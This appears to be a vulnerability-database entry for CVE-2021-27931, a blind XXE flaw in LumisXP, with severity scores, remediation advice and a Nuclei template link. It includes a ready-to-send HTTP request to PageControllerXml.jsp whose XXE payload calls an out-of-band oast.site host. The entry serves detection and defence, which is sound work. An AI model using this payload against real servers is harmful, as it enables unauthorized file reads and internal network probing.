🔙 목록으로 돌아가기

CVE-2021-27931: LumisXP <10.0.0 - Blind XML External Entity Attack

TitleLumisXP <10.0.0 - Blind XML External Entity Attack
Authoralph4byt3
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive information, server compromise, or further attacks on internal systems.
RemediationUpgrade LumisXP to version 10.0.0 or above to mitigate the vulnerability.
CVSS Score9.1
EPSS Score0.91224
CVE IDCVE-2021-27931
CWE IDCWE-611
Tags cve2021 cve lumis xxe oast blind vkev vuln

🔍 Vulnerability Description

LumisXP (aka Lumis Experience Platform) before 10.0.0 allows unauthenticated blind XML external entity (XXE) attacks via an API request to PageControllerXml.jsp. One can send a request crafted with an XXE payload and achieve outcomes such as reading local server files or denial of service.

🌐 HTTP Request

POST /lumis/portal/controller/xml/PageControllerXml.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Connection: close
Content-Length: 187
Accept-Encoding: gzip

<?xml version="1.0" ?>

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY xxe SYSTEM "http://d5jnm7ple0o3lr5e2kn0zhbxyyht3ecm6.oast.site">

]>

<method name="addPage">

<id>&xxe;</id>

</method>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27931.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-27931.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A